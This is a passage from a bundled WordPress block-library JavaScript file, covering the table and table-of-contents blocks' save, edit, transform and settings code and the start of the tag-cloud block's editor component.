51718function table_save_save({ attributes }) {
51719 const { hasFixedLayout, head, body, foot, caption } = attributes;
51720 const isEmpty = !head.length && !body.length && !foot.length;
51721 if (isEmpty) {
51722 return null;
51723 }
51724 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
51725 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
51726 const classes = dist_clsx(colorProps.className, borderProps.className, {
51727 "has-fixed-layout": hasFixedLayout
51728 });
51729 const hasCaption = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption);
51730 const Section = ({ type, rows }) => {
51731 if (!rows.length) {
51732 return null;
51733 }
51734 const Tag = `t${type}`;
51735 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: cells.map(
51736 ({
51737 content,
51738 tag,
51739 scope,
51740 align,
51741 colspan,
51742 rowspan
51743 }, cellIndex) => {
51744 const cellClasses = dist_clsx({
51745 [`has-text-align-${align}`]: align
51746 });
51747 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51748 external_wp_blockEditor_namespaceObject.RichText.Content,
51749 {
51750 className: cellClasses ? cellClasses : void 0,
51751 "data-align": align,
51752 tagName: tag,
51753 value: content,
51754 scope: tag === "th" ? scope : void 0,
51755 colSpan: colspan,
51756 rowSpan: rowspan
51757 },
51758 cellIndex
51759 );
51760 }
51761 ) }, rowIndex)) });
51762 };
51763 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
51764 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
51765 "table",
51766 {
51767 className: classes === "" ? void 0 : classes,
51768 style: { ...colorProps.style, ...borderProps.style },
51769 children: [
51770 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "head", rows: head }),
51771 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "body", rows: body }),
51772 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "foot", rows: foot })
51773 ]
51774 }
51775 ),
51776 hasCaption && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51777 external_wp_blockEditor_namespaceObject.RichText.Content,
51778 {
51779 tagName: "figcaption",
51780 value: caption,
51781 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("caption")
51782 }
51783 )
51784 ] });
51785}
51786
51787
51788;// ./node_modules/@wordpress/block-library/build-module/table/utils.js
51789function normalizeRowColSpan(rowColSpan) {
51790 const parsedValue = parseInt(rowColSpan, 10);
51791 if (!Number.isInteger(parsedValue)) {
51792 return void 0;
51793 }
51794 return parsedValue < 0 || parsedValue === 1 ? void 0 : parsedValue.toString();
51795}
51796
51797
51798;// ./node_modules/@wordpress/block-library/build-module/table/transforms.js
51799
51800
51801const tableContentPasteSchema = ({ phrasingContentSchema }) => ({
51802 tr: {
51803 allowEmpty: true,
51804 children: {
51805 th: {
51806 allowEmpty: true,
51807 children: phrasingContentSchema,
51808 attributes: ["scope", "colspan", "rowspan", "style"]
51809 },
51810 td: {
51811 allowEmpty: true,
51812 children: phrasingContentSchema,
51813 attributes: ["colspan", "rowspan", "style"]
51814 }
51815 }
51816 }
51817});
51818const tablePasteSchema = (args) => ({
51819 table: {
51820 children: {
51821 thead: {
51822 allowEmpty: true,
51823 children: tableContentPasteSchema(args)
51824 },
51825 tfoot: {
51826 allowEmpty: true,
51827 children: tableContentPasteSchema(args)
51828 },
51829 tbody: {
51830 allowEmpty: true,
51831 children: tableContentPasteSchema(args)
51832 }
51833 }
51834 }
51835});
51836const table_transforms_transforms = {
51837 from: [
51838 {
51839 type: "raw",
51840 selector: "table",
51841 schema: tablePasteSchema,
51842 transform: (node) => {
51843 const attributes = Array.from(node.children).reduce(
51844 (sectionAcc, section) => {
51845 if (!section.children.length) {
51846 return sectionAcc;
51847 }
51848 const sectionName = section.nodeName.toLowerCase().slice(1);
51849 const sectionAttributes = Array.from(
51850 section.children
51851 ).reduce((rowAcc, row) => {
51852 if (!row.children.length) {
51853 return rowAcc;
51854 }
51855 const rowAttributes = Array.from(
51856 row.children
51857 ).reduce((colAcc, col) => {
51858 const rowspan = normalizeRowColSpan(
51859 col.getAttribute("rowspan")
51860 );
51861 const colspan = normalizeRowColSpan(
51862 col.getAttribute("colspan")
51863 );
51864 const { textAlign } = col.style || {};
51865 let align;
51866 if (textAlign === "left" || textAlign === "center" || textAlign === "right") {
51867 align = textAlign;
51868 }
51869 colAcc.push({
51870 tag: col.nodeName.toLowerCase(),
51871 content: col.innerHTML,
51872 rowspan,
51873 colspan,
51874 align
51875 });
51876 return colAcc;
51877 }, []);
51878 rowAcc.push({
51879 cells: rowAttributes
51880 });
51881 return rowAcc;
51882 }, []);
51883 sectionAcc[sectionName] = sectionAttributes;
51884 return sectionAcc;
51885 },
51886 {}
51887 );
51888 return (0,external_wp_blocks_namespaceObject.createBlock)("core/table", attributes);
51889 }
51890 }
51891 ]
51892};
51893var table_transforms_transforms_default = table_transforms_transforms;
51894
51895
51896;// ./node_modules/@wordpress/block-library/build-module/table/index.js
51897
51898
51899
51900
51901
51902
51903
51904
51905const { name: table_name } = table_block_namespaceObject;
51906const table_settings = {
51907 icon: block_table_default,
51908 example: {
51909 attributes: {
51910 head: [
51911 {
51912 cells: [
51913 {
51914 content: (0,external_wp_i18n_namespaceObject.__)("Version"),
51915 tag: "th"
51916 },
51917 {
51918 content: (0,external_wp_i18n_namespaceObject.__)("Jazz Musician"),
51919 tag: "th"
51920 },
51921 {
51922 content: (0,external_wp_i18n_namespaceObject.__)("Release Date"),
51923 tag: "th"
51924 }
51925 ]
51926 }
51927 ],
51928 body: [
51929 {
51930 cells: [
51931 {
51932 content: "5.2",
51933 tag: "td"
51934 },
51935 {
51936 content: (0,external_wp_i18n_namespaceObject.__)("Jaco Pastorius"),
51937 tag: "td"
51938 },
51939 {
51940 content: (0,external_wp_i18n_namespaceObject.__)("May 7, 2019"),
51941 tag: "td"
51942 }
51943 ]
51944 },
51945 {
51946 cells: [
51947 {
51948 content: "5.1",
51949 tag: "td"
51950 },
51951 {
51952 content: (0,external_wp_i18n_namespaceObject.__)("Betty Carter"),
51953 tag: "td"
51954 },
51955 {
51956 content: (0,external_wp_i18n_namespaceObject.__)("February 21, 2019"),
51957 tag: "td"
51958 }
51959 ]
51960 },
51961 {
51962 cells: [
51963 {
51964 content: "5.0",
51965 tag: "td"
51966 },
51967 {
51968 content: (0,external_wp_i18n_namespaceObject.__)("Bebo Vald\xE9s"),
51969 tag: "td"
51970 },
51971 {
51972 content: (0,external_wp_i18n_namespaceObject.__)("December 6, 2018"),
51973 tag: "td"
51974 }
51975 ]
51976 }
51977 ]
51978 },
51979 viewportWidth: 450
51980 },
51981 transforms: table_transforms_transforms_default,
51982 edit: table_edit_edit_default,
51983 save: table_save_save,
51984 deprecated: table_deprecated_deprecated_default
51985};
51986const table_init = () => initBlock({ name: table_name, metadata: table_block_namespaceObject, settings: table_settings });
51987
51988
51989;// ./node_modules/@wordpress/icons/build-module/library/table-of-contents.js
51990
51991
51992var table_of_contents_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
51993 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51994 external_wp_primitives_namespaceObject.Path,
51995 {
51996 fillRule: "evenodd",
51997 clipRule: "evenodd",
51998 d: "M20 9.484h-8.889v-1.5H20v1.5Zm0 7h-4.889v-1.5H20v1.5Zm-14 .032a1 1 0 1 0 0-2 1 1 0 0 0 0 2Zm0 1a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z"
51999 }
52000 ),
52001 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 15.516a2 2 0 1 1-4 0 2 2 0 0 1 4 0ZM8 8.484a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z" })
52002] });
52003
52004
52005;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/block.json
52006const table_of_contents_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":true,"name":"core/table-of-contents","title":"Table of Contents","category":"design","description":"Summarize your post with a list of headings. Add HTML anchors to Heading blocks to link them here.","keywords":["document outline","summary"],"textdomain":"default","attributes":{"headings":{"type":"array","items":{"type":"object"},"default":[]},"onlyIncludeCurrentPage":{"type":"boolean","default":false},"maxLevel":{"type":"number"},"ordered":{"type":"boolean","default":true}},"supports":{"ariaLabel":true,"html":false,"color":{"text":true,"background":true,"gradients":true,"link":true},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-table-of-contents"}');
52007;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/list.js
52008
52009const ENTRY_CLASS_NAME = "wp-block-table-of-contents__entry";
52010function TableOfContentsList({
52011 nestedHeadingList,
52012 disableLinkActivation,
52013 onClick,
52014 ordered = true
52015}) {
52016 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: nestedHeadingList.map((node, index) => {
52017 const { content, link } = node.heading;
52018 const entry = link ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52019 "a",
52020 {
52021 className: ENTRY_CLASS_NAME,
52022 href: link,
52023 "aria-disabled": disableLinkActivation || void 0,
52024 onClick: disableLinkActivation && "function" === typeof onClick ? onClick : void 0,
52025 children: content
52026 }
52027 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: ENTRY_CLASS_NAME, children: content });
52028 const NestedListTag = ordered ? "ol" : "ul";
52029 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { children: [
52030 entry,
52031 node.children ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NestedListTag, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52032 TableOfContentsList,
52033 {
52034 nestedHeadingList: node.children,
52035 disableLinkActivation,
52036 onClick: disableLinkActivation && "function" === typeof onClick ? onClick : void 0,
52037 ordered
52038 }
52039 ) }) : null
52040 ] }, index);
52041 }) });
52042}
52043
52044
52045;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/utils.js
52046function linearToNestedHeadingList(headingList) {
52047 const nestedHeadingList = [];
52048 headingList.forEach((heading, key) => {
52049 if (heading.content === "") {
52050 return;
52051 }
52052 if (heading.level === headingList[0].level) {
52053 if (headingList[key + 1]?.level > heading.level) {
52054 let endOfSlice = headingList.length;
52055 for (let i = key + 1; i < headingList.length; i++) {
52056 if (headingList[i].level === heading.level) {
52057 endOfSlice = i;
52058 break;
52059 }
52060 }
52061 nestedHeadingList.push({
52062 heading,
52063 children: linearToNestedHeadingList(
52064 headingList.slice(key + 1, endOfSlice)
52065 )
52066 });
52067 } else {
52068 nestedHeadingList.push({
52069 heading,
52070 children: null
52071 });
52072 }
52073 }
52074 });
52075 return nestedHeadingList;
52076}
52077
52078
52079// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
52080var es6 = __webpack_require__(7734);
52081var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
52082;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/hooks.js
52083
52084
52085
52086
52087
52088
52089function getLatestHeadings(select, clientId) {
52090 const {
52091 getBlockAttributes,
52092 getBlockName,
52093 getBlocksByName,
52094 getClientIdsOfDescendants
52095 } = select(external_wp_blockEditor_namespaceObject.store);
52096 const permalink = select("core/editor").getPermalink() ?? null;
52097 const isPaginated = getBlocksByName("core/nextpage").length !== 0;
52098 const { onlyIncludeCurrentPage, maxLevel } = getBlockAttributes(clientId) ?? {};
52099 const [postContentClientId = ""] = getBlocksByName("core/post-content");
52100 const allBlockClientIds = getClientIdsOfDescendants(postContentClientId);
52101 let tocPage = 1;
52102 if (isPaginated && onlyIncludeCurrentPage) {
52103 const tocIndex = allBlockClientIds.indexOf(clientId);
52104 for (const [
52105 blockIndex,
52106 blockClientId
52107 ] of allBlockClientIds.entries()) {
52108 if (blockIndex >= tocIndex) {
52109 break;
52110 }
52111 if (getBlockName(blockClientId) === "core/nextpage") {
52112 tocPage++;
52113 }
52114 }
52115 }
52116 const latestHeadings = [];
52117 let headingPage = 1;
52118 let headingPageLink = null;
52119 if (typeof permalink === "string") {
52120 headingPageLink = isPaginated ? (0,external_wp_url_namespaceObject.addQueryArgs)(permalink, { page: headingPage }) : permalink;
52121 }
52122 for (const blockClientId of allBlockClientIds) {
52123 const blockName = getBlockName(blockClientId);
52124 if (blockName === "core/nextpage") {
52125 headingPage++;
52126 if (onlyIncludeCurrentPage && headingPage > tocPage) {
52127 break;
52128 }
52129 if (typeof permalink === "string") {
52130 headingPageLink = (0,external_wp_url_namespaceObject.addQueryArgs)(
52131 (0,external_wp_url_namespaceObject.removeQueryArgs)(permalink, ["page"]),
52132 { page: headingPage }
52133 );
52134 }
52135 } else if (!onlyIncludeCurrentPage || headingPage === tocPage) {
52136 if (blockName === "core/heading") {
52137 const headingAttributes = getBlockAttributes(blockClientId);
52138 if (maxLevel && headingAttributes.level > maxLevel) {
52139 continue;
52140 }
52141 const canBeLinked = typeof headingPageLink === "string" && typeof headingAttributes.anchor === "string" && headingAttributes.anchor !== "";
52142 latestHeadings.push({
52143 // Convert line breaks to spaces, and get rid of HTML tags in the headings.
52144 content: (0,external_wp_dom_namespaceObject.__unstableStripHTML)(
52145 headingAttributes.content.replace(
52146 /(<br *\/?>)+/g,
52147 " "
52148 )
52149 ),
52150 level: headingAttributes.level,
52151 link: canBeLinked ? `${headingPageLink}#${headingAttributes.anchor}` : null
52152 });
52153 }
52154 }
52155 }
52156 return latestHeadings;
52157}
52158function observeCallback(select, dispatch, clientId) {
52159 const { getBlockAttributes } = select(external_wp_blockEditor_namespaceObject.store);
52160 const { updateBlockAttributes, __unstableMarkNextChangeAsNotPersistent } = dispatch(external_wp_blockEditor_namespaceObject.store);
52161 const attributes = getBlockAttributes(clientId);
52162 if (attributes === null) {
52163 return;
52164 }
52165 const headings = getLatestHeadings(select, clientId);
52166 if (!es6_default()(headings, attributes.headings)) {
52167 window.queueMicrotask(() => {
52168 __unstableMarkNextChangeAsNotPersistent();
52169 updateBlockAttributes(clientId, { headings });
52170 });
52171 }
52172}
52173function useObserveHeadings(clientId) {
52174 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
52175 (0,external_wp_element_namespaceObject.useEffect)(() => {
52176 return registry.subscribe(
52177 () => observeCallback(registry.select, registry.dispatch, clientId)
52178 );
52179 }, [registry, clientId]);
52180}
52181
52182
52183;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/edit.js
52184
52185
52186
52187
52188
52189
52190
52191
52192
52193
52194
52195
52196
52197
52198function TableOfContentsEdit({
52199 attributes: {
52200 headings = [],
52201 onlyIncludeCurrentPage,
52202 maxLevel,
52203 ordered = true
52204 },
52205 clientId,
52206 setAttributes
52207}) {
52208 useObserveHeadings(clientId);
52209 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
52210 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(
52211 TableOfContentsEdit,
52212 "table-of-contents"
52213 );
52214 const { createWarningNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
52215 const showRedirectionPreventedNotice = (event) => {
52216 event.preventDefault();
52217 createWarningNotice((0,external_wp_i18n_namespaceObject.__)("Links are disabled in the editor."), {
52218 id: `block-library/core/table-of-contents/redirection-prevented/${instanceId}`,
52219 type: "snackbar"
52220 });
52221 };
52222 const canInsertList = (0,external_wp_data_namespaceObject.useSelect)(
52223 (select) => {
52224 const { getBlockRootClientId, canInsertBlockType } = select(external_wp_blockEditor_namespaceObject.store);
52225 const rootClientId = getBlockRootClientId(clientId);
52226 return canInsertBlockType("core/list", rootClientId);
52227 },
52228 [clientId]
52229 );
52230 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
52231 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
52232 const headingTree = linearToNestedHeadingList(headings);
52233 const toolbarControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { children: [
52234 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
52235 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52236 external_wp_components_namespaceObject.ToolbarButton,
52237 {
52238 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
52239 title: (0,external_wp_i18n_namespaceObject.__)("Unordered"),
52240 description: (0,external_wp_i18n_namespaceObject.__)("Convert to unordered list"),
52241 onClick: () => setAttributes({ ordered: false }),
52242 isActive: ordered === false
52243 }
52244 ),
52245 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52246 external_wp_components_namespaceObject.ToolbarButton,
52247 {
52248 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_numbered_rtl_default : format_list_numbered_default,
52249 title: (0,external_wp_i18n_namespaceObject.__)("Ordered"),
52250 description: (0,external_wp_i18n_namespaceObject.__)("Convert to ordered list"),
52251 onClick: () => setAttributes({ ordered: true }),
52252 isActive: ordered === true
52253 }
52254 )
52255 ] }),
52256 canInsertList && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52257 external_wp_components_namespaceObject.ToolbarButton,
52258 {
52259 onClick: () => replaceBlocks(
52260 clientId,
52261 (0,external_wp_blocks_namespaceObject.createBlock)("core/list", {
52262 ordered,
52263 values: (0,external_wp_element_namespaceObject.renderToString)(
52264 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52265 TableOfContentsList,
52266 {
52267 nestedHeadingList: headingTree,
52268 ordered
52269 }
52270 )
52271 )
52272 })
52273 ),
52274 children: (0,external_wp_i18n_namespaceObject.__)("Convert to static list")
52275 }
52276 ) })
52277 ] });
52278 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
52279 external_wp_components_namespaceObject.__experimentalToolsPanel,
52280 {
52281 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
52282 resetAll: () => {
52283 setAttributes({
52284 onlyIncludeCurrentPage: false,
52285 maxLevel: void 0,
52286 ordered: true
52287 });
52288 },
52289 dropdownMenuProps,
52290 children: [
52291 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52292 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
52293 {
52294 hasValue: () => !!onlyIncludeCurrentPage,
52295 label: (0,external_wp_i18n_namespaceObject.__)("Only include current page"),
52296 onDeselect: () => setAttributes({ onlyIncludeCurrentPage: false }),
52297 isShownByDefault: true,
52298 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52299 external_wp_components_namespaceObject.ToggleControl,
52300 {
52301 __nextHasNoMarginBottom: true,
52302 label: (0,external_wp_i18n_namespaceObject.__)("Only include current page"),
52303 checked: onlyIncludeCurrentPage,
52304 onChange: (value) => setAttributes({ onlyIncludeCurrentPage: value }),
52305 help: onlyIncludeCurrentPage ? (0,external_wp_i18n_namespaceObject.__)(
52306 "Only including headings from the current page (if the post is paginated)."
52307 ) : (0,external_wp_i18n_namespaceObject.__)(
52308 "Include headings from all pages (if the post is paginated)."
52309 )
52310 }
52311 )
52312 }
52313 ),
52314 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52315 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
52316 {
52317 hasValue: () => !!maxLevel,
52318 label: (0,external_wp_i18n_namespaceObject.__)("Limit heading levels"),
52319 onDeselect: () => setAttributes({ maxLevel: void 0 }),
52320 isShownByDefault: true,
52321 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52322 external_wp_components_namespaceObject.SelectControl,
52323 {
52324 __nextHasNoMarginBottom: true,
52325 __next40pxDefaultSize: true,
52326 label: (0,external_wp_i18n_namespaceObject.__)("Include headings down to level"),
52327 value: maxLevel || "",
52328 options: [
52329 { value: "", label: (0,external_wp_i18n_namespaceObject.__)("All levels") },
52330 { value: "1", label: (0,external_wp_i18n_namespaceObject.__)("Heading 1") },
52331 { value: "2", label: (0,external_wp_i18n_namespaceObject.__)("Heading 2") },
52332 { value: "3", label: (0,external_wp_i18n_namespaceObject.__)("Heading 3") },
52333 { value: "4", label: (0,external_wp_i18n_namespaceObject.__)("Heading 4") },
52334 { value: "5", label: (0,external_wp_i18n_namespaceObject.__)("Heading 5") },
52335 { value: "6", label: (0,external_wp_i18n_namespaceObject.__)("Heading 6") }
52336 ],
52337 onChange: (value) => setAttributes({
52338 maxLevel: value ? parseInt(value) : void 0
52339 }),
52340 help: !maxLevel ? (0,external_wp_i18n_namespaceObject.__)(
52341 "Including all heading levels in the table of contents."
52342 ) : (0,external_wp_i18n_namespaceObject.__)(
52343 "Only include headings up to and including this level."
52344 )
52345 }
52346 )
52347 }
52348 )
52349 ]
52350 }
52351 ) });
52352 if (headings.length === 0) {
52353 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
52354 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52355 external_wp_components_namespaceObject.Placeholder,
52356 {
52357 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: table_of_contents_default }),
52358 label: (0,external_wp_i18n_namespaceObject.__)("Table of Contents"),
52359 instructions: (0,external_wp_i18n_namespaceObject.__)(
52360 "Start adding Heading blocks to create a table of contents. Headings with HTML anchors will be linked here."
52361 )
52362 }
52363 ) }),
52364 inspectorControls
52365 ] });
52366 }
52367 const ListTag = ordered ? "ol" : "ul";
52368 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
52369 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("nav", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListTag, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52370 TableOfContentsList,
52371 {
52372 nestedHeadingList: headingTree,
52373 disableLinkActivation: true,
52374 onClick: showRedirectionPreventedNotice,
52375 ordered
52376 }
52377 ) }) }),
52378 toolbarControls,
52379 inspectorControls
52380 ] });
52381}
52382
52383
52384;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/save.js
52385
52386
52387
52388
52389function table_of_contents_save_save({
52390 attributes: { headings = [], ordered = true }
52391}) {
52392 if (headings.length === 0) {
52393 return null;
52394 }
52395 const ListTag = ordered ? "ol" : "ul";
52396 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("nav", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListTag, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52397 TableOfContentsList,
52398 {
52399 nestedHeadingList: linearToNestedHeadingList(headings),
52400 ordered
52401 }
52402 ) }) });
52403}
52404
52405
52406;// ./node_modules/@wordpress/block-library/build-module/table-of-contents/index.js
52407
52408
52409
52410
52411
52412
52413const { name: table_of_contents_name } = table_of_contents_block_namespaceObject;
52414const table_of_contents_settings = {
52415 icon: table_of_contents_default,
52416 edit: TableOfContentsEdit,
52417 save: table_of_contents_save_save,
52418 example: {
52419 innerBlocks: [
52420 {
52421 name: "core/heading",
52422 attributes: {
52423 level: 2,
52424 content: (0,external_wp_i18n_namespaceObject.__)("Heading")
52425 }
52426 },
52427 {
52428 name: "core/heading",
52429 attributes: {
52430 level: 3,
52431 content: (0,external_wp_i18n_namespaceObject.__)("Subheading")
52432 }
52433 },
52434 {
52435 name: "core/heading",
52436 attributes: {
52437 level: 2,
52438 content: (0,external_wp_i18n_namespaceObject.__)("Heading")
52439 }
52440 },
52441 {
52442 name: "core/heading",
52443 attributes: {
52444 level: 3,
52445 content: (0,external_wp_i18n_namespaceObject.__)("Subheading")
52446 }
52447 }
52448 ],
52449 attributes: {
52450 headings: [
52451 {
52452 content: (0,external_wp_i18n_namespaceObject.__)("Heading"),
52453 level: 2
52454 },
52455 {
52456 content: (0,external_wp_i18n_namespaceObject.__)("Subheading"),
52457 level: 3
52458 },
52459 {
52460 content: (0,external_wp_i18n_namespaceObject.__)("Heading"),
52461 level: 2
52462 },
52463 {
52464 content: (0,external_wp_i18n_namespaceObject.__)("Subheading"),
52465 level: 3
52466 }
52467 ]
52468 }
52469 }
52470};
52471const table_of_contents_init = () => initBlock({ name: table_of_contents_name, metadata: table_of_contents_block_namespaceObject, settings: table_of_contents_settings });
52472
52473
52474;// ./node_modules/@wordpress/block-library/build-module/tag-cloud/transforms.js
52475
52476const tag_cloud_transforms_transforms = {
52477 from: [
52478 {
52479 type: "block",
52480 blocks: ["core/categories"],
52481 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/tag-cloud")
52482 }
52483 ],
52484 to: [
52485 {
52486 type: "block",
52487 blocks: ["core/categories"],
52488 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/categories")
52489 }
52490 ]
52491};
52492var tag_cloud_transforms_transforms_default = tag_cloud_transforms_transforms;
52493
52494
52495;// ./node_modules/@wordpress/block-library/build-module/tag-cloud/block.json
52496const tag_cloud_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/tag-cloud","title":"Tag Cloud","category":"widgets","description":"A cloud of popular keywords, each sized by how often it appears.","textdomain":"default","attributes":{"numberOfTags":{"type":"number","default":45,"minimum":1,"maximum":100},"taxonomy":{"type":"string","default":"post_tag"},"showTagCounts":{"type":"boolean","default":false},"smallestFontSize":{"type":"string","default":"8pt"},"largestFontSize":{"type":"string","default":"22pt"}},"styles":[{"name":"default","label":"Default","isDefault":true},{"name":"outline","label":"Outline"}],"supports":{"html":false,"align":true,"spacing":{"margin":true,"padding":true},"typography":{"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalLetterSpacing":true},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"editorStyle":"wp-block-tag-cloud-editor"}');
52497;// ./node_modules/@wordpress/block-library/build-module/tag-cloud/edit.js
52498
52499
52500
52501
52502
52503
52504
52505
52506const MIN_TAGS = 1;
52507const MAX_TAGS = 100;
52508const MIN_FONT_SIZE = 0.1;
52509const MAX_FONT_SIZE = 100;
52510function TagCloudEdit({ attributes, setAttributes }) {
52511 const {
52512 taxonomy,
52513 showTagCounts,
52514 numberOfTags,
52515 smallestFontSize,
52516 largestFontSize
52517 } = attributes;
52518 const [availableUnits] = (0,external_wp_blockEditor_namespaceObject.useSettings)("spacing.units");
52519 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
52520 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
52521 availableUnits: availableUnits ? [...availableUnits, "pt"] : ["%", "px", "em", "rem", "pt"]
52522 });
52523 const taxonomies = (0,external_wp_data_namespaceObject.useSelect)(
52524 (select) => select(external_wp_coreData_namespaceObject.store).getTaxonomies({ per_page: -1 }),
52525 []
52526 );
52527 const getTaxonomyOptions = () => {
52528 const selectOption = {
52529 label: (0,external_wp_i18n_namespaceObject.__)("- Select -"),
52530 value: "",
52531 disabled: true
52532 };
52533 const taxonomyOptions = (taxonomies ?? []).filter((tax) => !!tax.show_cloud).map((item) => {
52534 return {
52535 value: item.slug,
52536 label: item.name
52537 };
52538 });
52539 return [selectOption, ...taxonomyOptions];
52540 };
52541 const onFontSizeChange = (fontSizeLabel, newValue) => {
52542 const [quantity, newUnit] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(newValue);
